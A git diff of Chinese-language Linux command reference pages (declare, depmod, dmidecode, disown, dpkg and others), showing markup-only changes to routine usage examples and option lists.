    -  local -i a=3
    -  declare -i b=3
    +  local -i a=3
    +  declare -i b=3
     }
     test2
     # 没有该变量(已经被销毁了)
    @@ -299,17 +299,17 @@ echo "${a} ${b}"
     
    # 注意,不能使用 `+a` 或 `+A` 取消数组,也不能使用 `+r` 取消只读属性。
     
     # 定义只读数组,设置属性的同时定义赋值。
    -declare -ar season=('Spring' 'Summer' 'Autumn' 'Winter')
    +declare -ar season=('Spring' 'Summer' 'Autumn' 'Winter')
     # 或者这样。
     season=('Spring' 'Summer' 'Autumn' 'Winter')
    -declare -ar season
    +declare -ar season
     # 显示所有数组。
    -declare -a
    +declare -a
     # 定义关联数组。
     
    -declare -A fruits=(['apple']='red' ['banana']='yellow')
    +declare -A fruits=(['apple']='red' ['banana']='yellow')
     # 显示所有关联数组。
    -declare -A
    +declare -A
     
    # 显示所有变量的属性和值并显示函数的定义,输出很长。 declare # 显示所有变量的属性和值。 -declare -p +declare -p # 显示所有全局变量的属性和值。 -declare -g +declare -g
    # 显示全部函数名和函数定义。
    -declare -f
    +declare -f
     # 只显示全部函数名。
    -declare -F
    +declare -F
     
     # 定义两个函数。
     function func_a(){ echo $(date +"%F %T"); }
    -function func_b(){ cd /; ls -lh --sort=time; }
    +function func_b(){ cd /; ls -lh --sort=time; }
     # 显示一到多个函数名和函数定义。
    -declare -f func_a func_b
    +declare -f func_a func_b
     # 只显示一到多个函数名,验证某个名称是否已经定义为函数时有用。
    -declare -F func_a func_b
    +declare -F func_a func_b
     # 最好不要让函数名和变量名相同。
     
    0&&document.getSelection().getRangeAt(0);o.select();let c=!1;try{c=!!document.execCommand("copy")}catch(e){c=!1}document.body.removeChild(o),n&&document.getSelection&&(document.getSelection().removeAllRanges(),document.getSelection().addRange(n)),t&&t(c)}})); @@ -485,7 +485,7 @@ function copied(target, str) { 581 个Linux命令,超过 50+ 贡献者
    - - + + \ No newline at end of file diff --git a/c/depmod.html b/c/depmod.html index d31d30613c..d5eed1c023 100644 --- a/c/depmod.html +++ b/c/depmod.html @@ -9,7 +9,7 @@ depmod 命令,Linux depmod 命令详解:分析可载入模块的相依性 - Linux 命令搜索引擎 - + @@ -142,7 +142,7 @@ customElements.define('markdown-style', MarkdownStyle);

    实例

    -
    depmod -b /home/windsome/EMMA3PF-KernelSource-20080626/install_pos -e -F ./boot/System.map -v 2.6.18_pro500-bcm91250-mips2_fp_be -A -a
    +
    depmod -b /home/windsome/EMMA3PF-KernelSource-20080626/install_pos -e -F ./boot/System.map -v 2.6.18_pro500-bcm91250-mips2_fp_be -A -a
     
      @@ -155,14 +155,14 @@ customElements.define('markdown-style', MarkdownStyle);####### export INSTALL_ROOT_EMMA3PF="/home/windsome/EMMA3PF-KernelSource-20080626/install_pos" export INSTALL_MOD_EMMA3PF="/home/windsome/EMMA3PF-KernelSource-20080626/install_pos" -rm /home/windsome/EMMA3PF-KernelSource-20080626/install_pos/lib -rf -rm /home/windsome/EMMA3PF-KernelSource-20080626/install_pos/boot/* -rf +rm /home/windsome/EMMA3PF-KernelSource-20080626/install_pos/lib -rf +rm /home/windsome/EMMA3PF-KernelSource-20080626/install_pos/boot/* -rf cd <linux_src_dir> make make modules_install -cp vmlinux System.map /home/windsome/EMMA3PF-KernelSource-20080626/install_pos/boot/ -p +cp vmlinux System.map /home/windsome/EMMA3PF-KernelSource-20080626/install_pos/boot/ -p cd /home/windsome/EMMA3PF-KernelSource-20080626/install_pos -depmod -b /home/windsome/EMMA3PF-KernelSource-20080626/install_pos -e -F ./boot/System.map -v 2.6.18_pro500-bcm91250-mips2_fp_be -A -a +depmod -b /home/windsome/EMMA3PF-KernelSource-20080626/install_pos -e -F ./boot/System.map -v 2.6.18_pro500-bcm91250-mips2_fp_be -A -a
      0&&document.getSelection().getRangeAt(0);o.select();let c=!1;try{c=!!document.execCommand("copy")}catch(e){c=!1}document.body.removeChild(o),n&&document.getSelection&&(document.getSelection().removeAllRanges(),document.getSelection().addRange(n)),t&&t(c)}})); @@ -250,7 +250,7 @@ function copied(target, str) { 581 个Linux命令,超过 50+ 贡献者
      - - + + \ No newline at end of file diff --git a/c/df.html b/c/df.html index bcd4c530e8..0dd0ea0701 100644 --- a/c/df.html +++ b/c/df.html @@ -9,7 +9,7 @@ df 命令,Linux df 命令详解:显示磁盘的相关信息 - Linux 命令搜索引擎 - + @@ -219,7 +219,7 @@ none 0 0 0 - /proc/sys/fs/binfmt_misc # Filesystem 1K-blocks Used Available Use% Mounted on # /dev/loop0 18761008 15246924 2554392 86% /d Avail " class="copied">
    - - + + \ No newline at end of file diff --git a/c/dhclient.html b/c/dhclient.html index e4cf678637..03a07dd922 100644 --- a/c/dhclient.html +++ b/c/dhclient.html @@ -9,7 +9,7 @@ dhclient 命令,Linux dhclient 命令详解:动态获取或释放IP地址 - Linux 命令搜索引擎 - + @@ -134,12 +134,12 @@ customElements.define('markdown-style', MarkdownStyle);参数

    网络接口:操作的网络接口。

    实例

    -
    dhclient -r     #释放IP
    +
    dhclient -r     #释放IP
     dhclient        #获取IP
     
    - - + + \ No newline at end of file diff --git a/c/dhcpd.html b/c/dhcpd.html index c35cad2391..0ad0560770 100644 --- a/c/dhcpd.html +++ b/c/dhcpd.html @@ -9,7 +9,7 @@ dhcpd 命令,Linux dhcpd 命令详解:运行DHCP服务器 - Linux 命令搜索引擎 - + @@ -120,19 +120,19 @@ customElements.define('markdown-style', MarkdownStyle);

    选项

    -
    -p <端口> 指定dhcpd监听的端口
    --f 作为前台进程运行dhcpd
    --d 启用调试模式
    --q 在启动时不显示版权信息
    --t 简单地测试配置文件的语法是否正确的,但不会尝试执行任何网络操作
    --T 可以用来测试租约数据库文件
    --4 运行DHCP服务器
    --6 运行DHCPv6服务器
    --s <服务器> 指定发送回复的服务器
    --cf <配置文件> 指定配置文件
    --lf <租约文件> 指定租约文件
    --pf <PID文件> 指定PID文件
    --tf <跟踪输出文件> 指定文件记录DHCP服务器的整个启动状态
    +
    -p <端口> 指定dhcpd监听的端口
    +-f 作为前台进程运行dhcpd
    +-d 启用调试模式
    +-q 在启动时不显示版权信息
    +-t 简单地测试配置文件的语法是否正确的,但不会尝试执行任何网络操作
    +-T 可以用来测试租约数据库文件
    +-4 运行DHCP服务器
    +-6 运行DHCPv6服务器
    +-s <服务器> 指定发送回复的服务器
    +-cf <配置文件> 指定配置文件
    +-lf <租约文件> 指定租约文件
    +-pf <PID文件> 指定PID文件
    +-tf <跟踪输出文件> 指定文件记录DHCP服务器的整个启动状态
     
    - - + + \ No newline at end of file diff --git a/c/dhcrelay.html b/c/dhcrelay.html index 0df6204997..d8a6daf392 100644 --- a/c/dhcrelay.html +++ b/c/dhcrelay.html @@ -9,7 +9,7 @@ dhcrelay 命令,Linux dhcrelay 命令详解:使用dhcrelay命令可以提供中继DHCP和BOOTP请求 - Linux 命令搜索引擎 - + @@ -122,13 +122,13 @@ customElements.define('markdown-style', MarkdownStyle);

    选项

    -
    -c <跳数> 当转发数据包时,dhcrelay丢弃已经达到一个最大跳数的数据包。默认值是10,最大值是255
    --4 运行dhcrelay命令作为DHCPv4/BOOTP中继代理。这是默认操作模式
    --6 运行dhcrelay命令作为DHCPv6中继代理
    --q 安静模式
    --p <端口> 监听和发送端口。DHCPv4/BOOTP默认端口是67,DHCPv6默认端口是547
    --A <长度> 指定发送到DHCP服务器的最大数据包大小
    --d 强制dhcrelay命令作为前台进程运行
    +
    -c <跳数> 当转发数据包时,dhcrelay丢弃已经达到一个最大跳数的数据包。默认值是10,最大值是255
    +-4 运行dhcrelay命令作为DHCPv4/BOOTP中继代理。这是默认操作模式
    +-6 运行dhcrelay命令作为DHCPv6中继代理
    +-q 安静模式
    +-p <端口> 监听和发送端口。DHCPv4/BOOTP默认端口是67,DHCPv6默认端口是547
    +-A <长度> 指定发送到DHCP服务器的最大数据包大小
    +-d 强制dhcrelay命令作为前台进程运行
     
    - - + + \ No newline at end of file diff --git a/c/diff.html b/c/diff.html index 00900942ad..f19ecdbe41 100644 --- a/c/diff.html +++ b/c/diff.html @@ -9,7 +9,7 @@ diff 命令,Linux diff 命令详解:比较给定的两个文件的不同 - Linux 命令搜索引擎 - + @@ -202,7 +202,7 @@ customElements.define('markdown-style', MarkdownStyle);

    以上下文 (context) 模式比较差异

    -
    diff -c a.txt b.txt
    +
    diff -c a.txt b.txt
     
      *** a1.txt 2012-08-29 16:45:41.000000000 +0800
    @@ -245,7 +245,7 @@ customElements.define('markdown-style', MarkdownStyle);

    以联合 (unified) 模式比较差异

    -
    diff -u a.txt b.txt
    +
    diff -u a.txt b.txt
     
      --- a.txt 2012-08-29 16:45:41.000000000 +0800
    @@ -286,7 +286,7 @@ n1,n2 c n3,n4
     " class="copied">

    其中,字母"a"、"d"、"c"分别表示添加、删除及修改操作。而"n1"、"n2"表示在文件1中的行号,"n3"、"n4"表示在文件2中的行号。

    注意:以上说明指定了两个文件中不同处的行号及其相应的操作。在输出形式中,每一行后面将跟随受到影响的若干行。其中,以<开始的行属于文件1,以>开始的行属于文件2。

    - - + + \ No newline at end of file diff --git a/c/diff3.html b/c/diff3.html index 4327d55a72..f44a7264ce 100644 --- a/c/diff3.html +++ b/c/diff3.html @@ -9,7 +9,7 @@ diff3 命令,Linux diff3 命令详解:比较3个文件不同的地方 - Linux 命令搜索引擎 - + @@ -143,7 +143,7 @@ customElements.define('markdown-style', MarkdownStyle);文件2:指定要比较的第2个文件;
  • 文件3:指定要比较的第3个文件。
  • - - + + \ No newline at end of file diff --git a/c/diffstat.html b/c/diffstat.html index b9bcf7be16..a6b9c7eca6 100644 --- a/c/diffstat.html +++ b/c/diffstat.html @@ -9,7 +9,7 @@ diffstat 命令,Linux diffstat 命令详解:显示diff命令输出信息的柱状图 - Linux 命令搜索引擎 - + @@ -179,7 +179,7 @@ mno
    - - + + \ No newline at end of file diff --git a/c/dig.html b/c/dig.html index 9fb6045c78..3a1e5be9cc 100644 --- a/c/dig.html +++ b/c/dig.html @@ -9,7 +9,7 @@ dig 命令,Linux dig 命令详解:域名查询工具 - Linux 命令搜索引擎 - + @@ -196,7 +196,7 @@ jsdig.com. 8 IN NS f1g1ns1.dnspod.net. ;; WHEN: Thu Dec 26 11:14:37 2013 ;; MSG SIZE rcvd: 121 " class="copied">
    - - + + \ No newline at end of file diff --git a/c/dircolors.html b/c/dircolors.html index 43844497e8..5885986b5e 100644 --- a/c/dircolors.html +++ b/c/dircolors.html @@ -9,7 +9,7 @@ dircolors 命令,Linux dircolors 命令详解:置ls命令在显示目录或文件时所用的色彩 - Linux 命令搜索引擎 - + @@ -355,7 +355,7 @@ exec 01;32 .ogg 01;35 .wav 01;35 " class="copied">
    - - + + \ No newline at end of file diff --git a/c/dirname.html b/c/dirname.html index cfeddaf054..52d5675d35 100644 --- a/c/dirname.html +++ b/c/dirname.html @@ -9,7 +9,7 @@ dirname 命令,Linux dirname 命令详解:去除文件名中的非目录部分 - Linux 命令搜索引擎 - + @@ -151,7 +151,7 @@ dirname a dirname a/b 结果为路径名 a " class="copied">
    - - + + \ No newline at end of file diff --git a/c/dirs.html b/c/dirs.html index 7c385b1c33..16b733c22c 100644 --- a/c/dirs.html +++ b/c/dirs.html @@ -9,7 +9,7 @@ dirs 命令,Linux dirs 命令详解:显示目录堆栈。 - Linux 命令搜索引擎 - + @@ -129,10 +129,10 @@ customElements.define('markdown-style', MarkdownStyle);

    选项

    -
    -c    清空目录堆栈。
    --l    堆栈内以~开头的目录在显示时展开。
    --p    将目录堆栈内的每一个目录按行显示。
    --v    将目录堆栈内的每一个目录按行显示并在每行前加上堆栈内的位置编号。
    +
    -c    清空目录堆栈。
    +-l    堆栈内以~开头的目录在显示时展开。
    +-p    将目录堆栈内的每一个目录按行显示。
    +-v    将目录堆栈内的每一个目录按行显示并在每行前加上堆栈内的位置编号。
     
    # 添加目录到堆栈。 [user2@pc ~]$ dirs ~ -[user2@pc ~]$ pushd -n ~/Desktop +[user2@pc ~]$ pushd -n ~/Desktop ~ ~/Desktop -[user2@pc ~]$ pushd -n ~/Pictures +[user2@pc ~]$ pushd -n ~/Pictures ~ ~/Pictures ~/Desktop -[user2@pc ~]$ pushd -n ~/bin +[user2@pc ~]$ pushd -n ~/bin ~ ~/bin ~/Pictures ~/Desktop # 选项和参数的示例: -[user2@pc ~]$ dirs -l +[user2@pc ~]$ dirs -l /home/user2 /home/user2/bin /home/user2/Pictures /home/user2/Desktop -[user2@pc ~]$ dirs -p +[user2@pc ~]$ dirs -p ~ ~/bin ~/Pictures ~/Desktop -[user2@pc ~]$ dirs -v +[user2@pc ~]$ dirs -v 0 ~ 1 ~/bin 2 ~/Pictures 3 ~/Desktop [user2@pc ~]$ dirs +2 ~/Pictures -[user2@pc ~]$ dirs -2 +[user2@pc ~]$ dirs -2 ~/bin -[user2@pc ~]$ dirs -c +[user2@pc ~]$ dirs -c [user2@pc ~]$ dirs ~
    0&&document.getSelection().getRangeAt(0);o.select();let c=!1;try{c=!!document.execCommand("copy")}catch(e){c=!1}document.body.removeChild(o),n&&document.getSelection&&(document.getSelection().removeAllRanges(),document.getSelection().addRange(n)),t&&t(c)}})); @@ -282,7 +282,7 @@ function copied(target, str) { 581 个Linux命令,超过 50+ 贡献者
    - - + + \ No newline at end of file diff --git a/c/disown.html b/c/disown.html index 1c16e3d051..81135f89a7 100644 --- a/c/disown.html +++ b/c/disown.html @@ -9,7 +9,7 @@ disown 命令,Linux disown 命令详解:从当前的shell中移除作业。 - Linux 命令搜索引擎 - + @@ -135,9 +135,9 @@ customElements.define('markdown-style', MarkdownStyle);

    选项

    -
    -h    标记每个作业标识符,这些作业将不会在shell接收到sighup信号时接收到sighup信号。
    --a    移除所有的作业。
    --r    移除运行的作业。
    +
    -h    标记每个作业标识符,这些作业将不会在shell接收到sighup信号时接收到sighup信号。
    +-a    移除所有的作业。
    +-r    移除运行的作业。
     
    [3] 28986 # 列出作业及pid信息。 -[user2@pc] jobs -l +[user2@pc] jobs -l [1]- 28756 Stopped ssh 192.168.1.4 [2]+ 28833 Stopped ssh 192.168.1.7 [3] 28986 Running sleep 120 & # 删除运行状态的作业。 -[user2@pc] disown -r +[user2@pc] disown -r -[user2@pc] jobs -l +[user2@pc] jobs -l [1]- 28756 Stopped ssh 192.168.1.4 [2]+ 28833 Stopped ssh 192.168.1.7 # 注意disown只是移除作业,并没有停止。 -[user2@pc] pgrep -a -u user2 -f 'sleep 120' +[user2@pc] pgrep -a -u user2 -f 'sleep 120' 28986 sleep 120 # 删除指定的作业。 [user2@pc] disown %2 bash: warning: deleting stopped job 2 with process group 28833 -[user2@pc] jobs -l +[user2@pc] jobs -l [1]- 28756 Stopped ssh 192.168.1.4 # 注意disown只是移除作业,并没有停止。 -[user2@pc] pgrep -a -u user2 -f 'ssh 192.168.1.7' +[user2@pc] pgrep -a -u user2 -f 'ssh 192.168.1.7' 28833 ssh 192.168.1.7 # 删除全部作业。 -[user2@pc] disown -a +[user2@pc] disown -a bash: warning: deleting stopped job 1 with process group 28756 -[user2@pc] jobs -l +[user2@pc] jobs -l # 注意disown只是移除作业,并没有停止。 -[user2@pc] pgrep -a -u user2 -f 'ssh 192.168.1.4' +[user2@pc] pgrep -a -u user2 -f 'ssh 192.168.1.4' 28756 ssh 192.168.1.4
    [user2@pc] sleep 90 & [1] 109080 -[user2@pc] jobs -l +[user2@pc] jobs -l [1]+ 109080 Running sleep 90 & -[user2@pc] disown -h %1 +[user2@pc] disown -h %1 [user2@pc] exit # 此时前一个终端已经关闭,现在打开新终端查找该作业。 -[user2@pc] pgrep -a -u user2 -f 'sleep 90' +[user2@pc] pgrep -a -u user2 -f 'sleep 90' 109080 sleep 90
    disown的用法 - - + + \ No newline at end of file diff --git a/c/dmesg.html b/c/dmesg.html index 7b77d8b9a6..521d89d622 100644 --- a/c/dmesg.html +++ b/c/dmesg.html @@ -9,7 +9,7 @@ dmesg 命令,Linux dmesg 命令详解:显示Linux系统启动信息 - Linux 命令搜索引擎 - + @@ -171,7 +171,7 @@ BIOS-provided physical RAM map: [ 2.447533] sda: sda1 [ 2.448503] sd 0:0:0:0: [sda] Attached SCSI disk " class="copied">
    - - + + \ No newline at end of file diff --git a/c/dmidecode.html b/c/dmidecode.html index 5736ade705..c6da0b47fe 100644 --- a/c/dmidecode.html +++ b/c/dmidecode.html @@ -9,7 +9,7 @@ dmidecode 命令,Linux dmidecode 命令详解:在Linux系统下获取有关硬件方面的信息 - Linux 命令搜索引擎 - + @@ -225,16 +225,16 @@ customElements.define('markdown-style', MarkdownStyle);Onboard Device

    实例

    -
    dmidecode -t 1  # 查看服务器信息
    +
    dmidecode -t 1  # 查看服务器信息
     dmidecode | grep 'Product Name' # 查看服务器型号 
     dmidecode |grep 'Serial Number' # 查看主板的序列号 
    -dmidecode -t 2  # 查看主板信息
    -dmidecode -s system-serial-number # 查看系统序列号 
    -dmidecode -t memory # 查看内存信息 
    -dmidecode -t 11 # 查看OEM信息 
    -dmidecode -t 17 # 查看内存条数
    -dmidecode -t 16 # 查询内存信息
    -dmidecode -t 4  # 查看CPU信息
    +dmidecode -t 2  # 查看主板信息
    +dmidecode -s system-serial-number # 查看系统序列号 
    +dmidecode -t memory # 查看内存信息 
    +dmidecode -t 11 # 查看OEM信息 
    +dmidecode -t 17 # 查看内存条数
    +dmidecode -t 16 # 查询内存信息
    +dmidecode -t 4  # 查看CPU信息
     
     cat /proc/scsi/scsi # 查看服务器硬盘信息
     

    查看内存的插槽数,已经使用多少插槽。每条内存多大,已使用内存多大

    -
    dmidecode|grep -P -A5 "Memory\s+Device"|grep Size|grep -v Range 
    +
    dmidecode|grep -P -A5 "Memory\s+Device"|grep Size|grep -v Range 
     
     #   Size: 2048 MB
     #   Size: 2048 MB
    @@ -433,7 +433,7 @@ Processor Information
     #   Size: No Module Installed
     " class="copied">

    查看内存支持的最大内存容量

    -
    dmidecode|grep -P 'Maximum\s+Capacity'
    +
    dmidecode|grep -P 'Maximum\s+Capacity'
     
     #  Maximum Capacity: 16 GB
     

    查看内存的频率

    -
    dmidecode|grep -A16 "Memory Device"
    +
    dmidecode|grep -A16 "Memory Device"
     
     #   Memory Device
     #     Array Handle: 0x1000
    @@ -480,7 +480,7 @@ Processor Information
     #     Part Number: HMT325U7BFR8C-H9
     #   --
     
    -dmidecode|grep -A16 "Memory Device"|grep 'Speed'
    +dmidecode|grep -A16 "Memory Device"|grep 'Speed'
     
     #  Speed: 1333 MHz
     #  Speed: 1333 MHz
    @@ -542,7 +542,7 @@ dmidecode|grep -A16 "Memory Device"|grep 'Speed'
     
     
     " class="copied">
    - - + + \ No newline at end of file diff --git a/c/dnf.html b/c/dnf.html index cb5ca8ce2c..88931d32f6 100644 --- a/c/dnf.html +++ b/c/dnf.html @@ -9,7 +9,7 @@ dnf 命令,Linux dnf 命令详解:新一代的RPM软件包管理器 - Linux 命令搜索引擎 - + @@ -127,7 +127,7 @@ customElements.define('markdown-style', MarkdownStyle);

    或者

    -
    yum install epel-release -y
    +
    yum install epel-release -y
     

    其实这里并没有强制使用”-y”的理由,相反的,在不使用”-y”的情况下,用户可以在安装过程中查看到底有哪些东西被安装进了系统。但对于没有这个需求的用户,您可以在 YUM 中使用”-y”参数来自动安装所有东西。

    @@ -289,7 +289,7 @@ Error: Nothing to do.
  • 在 DNF 中没有用来列出某个软件依赖包的 deplist 命令。
  • 当你在 DNF 中排除了某个软件库,那么该操作将会影响到你之后所有的操作,不像在 YUM 下那样,你的排除操作只会咋升级和安装软件时才起作用。
  • - - + + \ No newline at end of file diff --git a/c/dnsdomainname.html b/c/dnsdomainname.html index 7d81524d14..32b1381d86 100644 --- a/c/dnsdomainname.html +++ b/c/dnsdomainname.html @@ -9,7 +9,7 @@ dnsdomainname 命令,Linux dnsdomainname 命令详解:定义DNS系统中FQDN名称的域名 - Linux 命令搜索引擎 - + @@ -137,7 +137,7 @@ Resolving `AY1307311912260196fcZ' ... Result: h_name=`AY1307311912260196fcZ' Result: h_addr_list=`10.160.7.81' " class="copied">
    - - + + \ No newline at end of file diff --git a/c/domainname.html b/c/domainname.html index 0219dd2e1a..33d665c0cf 100644 --- a/c/domainname.html +++ b/c/domainname.html @@ -9,7 +9,7 @@ domainname 命令,Linux domainname 命令详解:显示和设置系统的NIS域名 - Linux 命令搜索引擎 - + @@ -149,7 +149,7 @@ www.jsdig.com getdomainname()=`www.jsdig.com' www.jsdig.com " class="copied">
    - - + + \ No newline at end of file diff --git a/c/dos2unix.html b/c/dos2unix.html index 02f7d0d84f..9d2f3f0ed7 100644 --- a/c/dos2unix.html +++ b/c/dos2unix.html @@ -9,7 +9,7 @@ dos2unix 命令,Linux dos2unix 命令详解:将DOS格式文本文件转换成Unix格式 - Linux 命令搜索引擎 - + @@ -144,7 +144,7 @@ customElements.define('markdown-style', MarkdownStyle);

    如果一次转换多个文件,把这些文件名直接跟在dos2unix之后。(注:也可以加上-o参数,也可以不加,效果一样)

    dos2unix file1 file2 file3
    -dos2unix -o file1 file2 file3
    +dos2unix -o file1 file2 file3
     
    @@ -153,20 +153,20 @@ dos2unix -o file1 file2 file3

    如果要保持文件时间戳不变,加上-k参数。所以上面几条命令都是可以加上-k参数来保持文件时间戳的。

    -
    dos2unix -k file
    -dos2unix -k file1 file2 file3
    -dos2unix -k -o file1 file2 file3
    -dos2unix -k -n oldfile newfile
    +
    dos2unix -k file
    +dos2unix -k file1 file2 file3
    +dos2unix -k -o file1 file2 file3
    +dos2unix -k -n oldfile newfile
     

    转换当前目录下所有文件

    -
    find -type f | xargs dos2unix
    +
    find -type f | xargs dos2unix
     
    - - + + \ No newline at end of file diff --git a/c/dpkg-deb.html b/c/dpkg-deb.html index 1ec78b6ba2..1f1d6dab9e 100644 --- a/c/dpkg-deb.html +++ b/c/dpkg-deb.html @@ -9,7 +9,7 @@ dpkg-deb 命令,Linux dpkg-deb 命令详解:Debian Linux下的软件包管理工具 - Linux 命令搜索引擎 - + @@ -145,22 +145,22 @@ customElements.define('markdown-style', MarkdownStyle);文件:指定要操作的“.deb”软件包的全名或软件名。

    实例

    解压程序文件:

    -
    dpkg-deb -x drcom-pum_1.0-0ubuntu1~ppa1~jaunty1_i386.deb drcom
    +
    dpkg-deb -x drcom-pum_1.0-0ubuntu1~ppa1~jaunty1_i386.deb drcom
     

    解压控制文件:

    -
    dpkg-deb -e drcom-pum_1.0-0ubuntu1~ppa1~jaunty1_i386.deb drcom/DEBIAN
    +
    dpkg-deb -e drcom-pum_1.0-0ubuntu1~ppa1~jaunty1_i386.deb drcom/DEBIAN
     

    打包生成deb文件:

    -
    dpkg-deb -b drcom drcom_1.4.8.2_i386.deb
    +
    dpkg-deb -b drcom drcom_1.4.8.2_i386.deb
     

    查询deb包中的文件内容:

    -
    dpkg-deb -c demo.deb
    +
    dpkg-deb -c demo.deb
     
    - - + + \ No newline at end of file diff --git a/c/dpkg-divert.html b/c/dpkg-divert.html index faf2345434..edb47743e4 100644 --- a/c/dpkg-divert.html +++ b/c/dpkg-divert.html @@ -9,7 +9,7 @@ dpkg-divert 命令,Linux dpkg-divert 命令详解:Debian Linux中创建并管理一个转向列表 - Linux 命令搜索引擎 - + @@ -137,22 +137,22 @@ customElements.define('markdown-style', MarkdownStyle);文件:指定转移文件名。

    实例

    指定软件包wibble安装时,写入/usr/bin/example.foo,而不是/usr/bin/example

    -
    dpkg-divert --package wibble --divert /usr/bin/example.foo --rename /usr/bin/example
    +
    dpkg-divert --package wibble --divert /usr/bin/example.foo --rename /usr/bin/example
     

    指定软件包wibble安装时,删除对/usr/bin/example的转移修改:

    -
    dpkg-divert --package wibble --rename --remove /usr/bin/example
    +
    dpkg-divert --package wibble --rename --remove /usr/bin/example
     

    删除对/usr/bin/example的转移修改:

    -
    dpkg-divert --rename --remove /usr/bin/example
    +
    dpkg-divert --rename --remove /usr/bin/example
     

    添加一个软件包安装时,写入/usr/bin/example.foo,而不是/usr/bin/example的修改:

    -
    dpkg-divert --divert /usr/bin/example.foo --rename /usr/bin/example
    +
    dpkg-divert --divert /usr/bin/example.foo --rename /usr/bin/example
     
    - - + + \ No newline at end of file diff --git a/c/dpkg-preconfigure.html b/c/dpkg-preconfigure.html index 8991c1a2cf..8aa3881b43 100644 --- a/c/dpkg-preconfigure.html +++ b/c/dpkg-preconfigure.html @@ -9,7 +9,7 @@ dpkg-preconfigure 命令,Linux dpkg-preconfigure 命令详解:Debian Linux中软件包安装之前询问问题 - Linux 命令搜索引擎 - + @@ -136,7 +136,7 @@ customElements.define('markdown-style', MarkdownStyle);dpkg-preconfigure /var/cache/apt/archives/mysql-server-5.5*.deb
    - - + + \ No newline at end of file diff --git a/c/dpkg-query.html b/c/dpkg-query.html index 164f4345b8..007f61d322 100644 --- a/c/dpkg-query.html +++ b/c/dpkg-query.html @@ -9,7 +9,7 @@ dpkg-query 命令,Linux dpkg-query 命令详解:Debian Linux中软件包的查询工具 - Linux 命令搜索引擎 - + @@ -141,30 +141,30 @@ customElements.define('markdown-style', MarkdownStyle);软件包名称:指定需要查询的软件包。

    实例

    查找文件file1在哪个包里安装:

    -
    dpkg-query -S file1
    +
    dpkg-query -S file1
     

    列出ubuntu下所安装软件列表:

    -
    dpkg-query -W --showformat='${Package} ${Version}\n' > filename
    +
    dpkg-query -W --showformat='${Package} ${Version}\n' > filename
     

    查看软件包详细信息:

    -
    dpkg-query -s capistrano
    +
    dpkg-query -s capistrano
     

    查看软件包安装时安装到系统的文件列表:

    -
    dpkg-query -L capistrano
    +
    dpkg-query -L capistrano
     

    列出所有安装的包:

    -
    dpkg-query -l
    +
    dpkg-query -l
     

    查看软件包的确切状态(是否安装)以及版本号:

    -
    dpkg-query -W -f='${Status} ${Version}\n' apache-perl
    +
    dpkg-query -W -f='${Status} ${Version}\n' apache-perl
     
    - - + + \ No newline at end of file diff --git a/c/dpkg-reconfigure.html b/c/dpkg-reconfigure.html index 44f941ac23..f99d6d3c9a 100644 --- a/c/dpkg-reconfigure.html +++ b/c/dpkg-reconfigure.html @@ -9,7 +9,7 @@ dpkg-reconfigure 命令,Linux dpkg-reconfigure 命令详解:Debian Linux中重新配制一个已经安装的软件包 - Linux 命令搜索引擎 - + @@ -147,7 +147,7 @@ customElements.define('markdown-style', MarkdownStyle);sudo dpkg-reconfigure locales
    - - + + \ No newline at end of file diff --git a/c/dpkg-split.html b/c/dpkg-split.html index 65470ca8e5..c47e321eb7 100644 --- a/c/dpkg-split.html +++ b/c/dpkg-split.html @@ -9,7 +9,7 @@ dpkg-split 命令,Linux dpkg-split 命令详解:Debian Linux中将大软件包分割成小包 - Linux 命令搜索引擎 - + @@ -139,14 +139,14 @@ customElements.define('markdown-style', MarkdownStyle);软件包:指定需要分割的“.deb”软件包。

    实例

    把foo.deb分割出N个大小为460KB的文件:

    -
    dpkg-split -s foo.deb
    +
    dpkg-split -s foo.deb
     

    合并分割文件:

    -
    dpkg-split -j "foo*"
    +
    dpkg-split -j "foo*"
     
    - - + + \ No newline at end of file diff --git a/c/dpkg-statoverride.html b/c/dpkg-statoverride.html index e9b46fd1f0..7d59bffb8b 100644 --- a/c/dpkg-statoverride.html +++ b/c/dpkg-statoverride.html @@ -9,7 +9,7 @@ dpkg-statoverride 命令,Linux dpkg-statoverride 命令详解:Debian Linux中覆盖文件的所有权和模式 - Linux 命令搜索引擎 - + @@ -133,18 +133,18 @@ customElements.define('markdown-style', MarkdownStyle);

    实例

    修改文件夹的权限属性:

    -
    sudo dpkg-statoverride --update --add nagios nagios 751 /var/lib/nagios3
    +
    sudo dpkg-statoverride --update --add nagios nagios 751 /var/lib/nagios3
     

    强制修改文件夹的权限属性:

    -
    sudo dpkg-statoverride --force --update --add root sasl 755 /var/spool/postfix/var/run/saslauthd
    +
    sudo dpkg-statoverride --force --update --add root sasl 755 /var/spool/postfix/var/run/saslauthd
     

    将文件从数据库中删除:

    -
    sudo dpkg-statoverride --remove /usr/bin/wall
    +
    sudo dpkg-statoverride --remove /usr/bin/wall
     
    - - + + \ No newline at end of file diff --git a/c/dpkg-trigger.html b/c/dpkg-trigger.html index 281805d00b..c82555f59b 100644 --- a/c/dpkg-trigger.html +++ b/c/dpkg-trigger.html @@ -9,7 +9,7 @@ dpkg-trigger 命令,Linux dpkg-trigger 命令详解:Debian Linux下的软件包触发器 - Linux 命令搜索引擎 - + @@ -124,7 +124,7 @@ customElements.define('markdown-style', MarkdownStyle);选项
    --check-supported:检查运行的dpkg是否支持触发器,返回值为0,则支持触发器。
     --help:显示帮助信息;
    ---admindir=<目录>:设置dpkg数据库所在的目录;
    +--admindir=<目录>:设置dpkg数据库所在的目录;
     --no-act:仅用于测试,不执行任何操作;
     --by-package=<软件包>:覆盖触发器等待者。
     

    参数

    触发器名:指定触发器名称。

    - - + + \ No newline at end of file diff --git a/c/dpkg.html b/c/dpkg.html index f698277dc1..142cded923 100644 --- a/c/dpkg.html +++ b/c/dpkg.html @@ -9,7 +9,7 @@ dpkg 命令,Linux dpkg 命令详解:Debian Linux系统上安装、创建和管理软件包 - Linux 命令搜索引擎 - + @@ -142,16 +142,16 @@ customElements.define('markdown-style', MarkdownStyle);参数

    Deb软件包:指定要操作的.deb软件包。

    实例

    -
    dpkg -i package.deb     # 安装包
    -dpkg -r package         # 删除包
    -dpkg -P package         # 删除包(包括配置文件)
    -dpkg -L package         # 列出与该包关联的文件
    -dpkg -l package         # 显示该包的版本
    -dpkg --unpack package.deb  # 解开deb包的内容
    -dpkg -S keyword            # 搜索所属的包内容
    -dpkg -l                    # 列出当前已安装的包
    -dpkg -c package.deb        # 列出deb包的内容
    -dpkg --configure package   # 配置包
    +
    dpkg -i package.deb     # 安装包
    +dpkg -r package         # 删除包
    +dpkg -P package         # 删除包(包括配置文件)
    +dpkg -L package         # 列出与该包关联的文件
